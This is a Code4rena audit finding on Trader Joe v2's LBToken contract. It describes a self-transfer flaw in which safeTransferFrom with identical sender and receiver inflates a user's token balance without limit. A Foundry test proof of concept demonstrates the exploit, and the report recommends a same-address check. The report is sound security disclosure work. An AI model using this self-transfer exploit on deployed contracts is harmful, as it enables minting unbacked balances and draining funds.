Trader Joe v2 contest - ne0n's results

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBToken.sol#L189

Vulnerability details

Impact

User can increase its balance of LBToken indefinitely . Once a user has some quantity of LBToken in his account, he can add funds to his account indefinitely. This results in an inconsistent state of the storage variable _balances.

This is because of the following code.

unchecked {
     _balances[_id][_from] = _fromBalance - _amount;
     _balances[_id][_to] = _toBalance + _amount;
}

This does not take into account the fact that _from and _to could be the same. And isApprovedForAll returns true if owner == sender.

Since frombalance and toBalance contain the same value if the from and to is equal(i.e. belonging to the same address), then the user to whom the address belongs to can add funds to its account indefinitely by calling safeTransferFrom(attacker, attacker, _id, _amount).

This is because we subtract the amount from the account, but then add the amount to the original balance which overrides the previous return value. Sort of like a race condition.

Proof of Concept

The affected contract: https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBToken.sol The faulty code: L189

Sample test code for PoC:

pragma solidity ^0.8.0;

import "./TestHelper.sol";

contract LiquidityBinTokenTest is TestHelper {
    event TransferBatch(
        address indexed sender,
        address indexed from,
        address indexed to,
        uint256[] ids,
        uint256[] amounts
    );
    event TransferSingle(address indexed sender, address indexed from, address indexed to, uint256 id, uint256 amount);

    function setUp() public {
        token6D = new ERC20MockDecimals(6);
        token18D = new ERC20MockDecimals(18);

        factory = new LBFactory(DEV, 8e14);
        ILBPair _LBPairImplementation = new LBPair(factory);
        factory.setLBPairImplementation(address(_LBPairImplementation));
        addAllAssetsToQuoteWhitelist(factory);
        setDefaultFactoryPresets(DEFAULT_BIN_STEP);

        pair = createLBPairDefaultFees(token6D, token18D);
    }

    function testSafeTransferFromHighSeverity() public {
        uint256 amountIn = 1e18;

        (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 5, 0);

        uint256[] memory amounts = new uint256[](5);
        for (uint256 i; i < 5; i++) {
            assertEq(pair.userPositionAtIndex(DEV, i), _ids[i]);
            amounts[i] = pair.balanceOf(DEV, _ids[i]);
        }
        assertEq(pair.userPositionNumber(DEV), 5);

        assertEq(pair.balanceOf(DEV, ID_ONE - 1), amountIn / 3);
        vm.expectEmit(true, true, true, true);
        emit TransferSingle(DEV, DEV, BOB, _ids[0], 100);
        pair.safeTransferFrom(DEV, BOB, _ids[0], 100);
        assertEq(pair.balanceOf(DEV, _ids[0]), amounts[0] - 100);
        assertEq(pair.balanceOf(BOB, _ids[0]), 100);

        vm.prank(BOB);

        pair.safeTransferFrom(BOB, BOB, _ids[0], 100);
        assertEq(pair.balanceOf(BOB, _ids[0]), 200); // increased the balance by 100

        vm.prank(BOB);
        pair.safeTransferFrom(BOB, BOB, _ids[0], 100);
        assertEq(pair.balanceOf(BOB, _ids[0]), 300); // increased the balance by 100
    }
}

Tools Used

Manual auditing + Foundry(for test)

Recommended Mitigation Steps

Add a check for same addresses like require(_from != _to, "Sender and receiver cant be equal")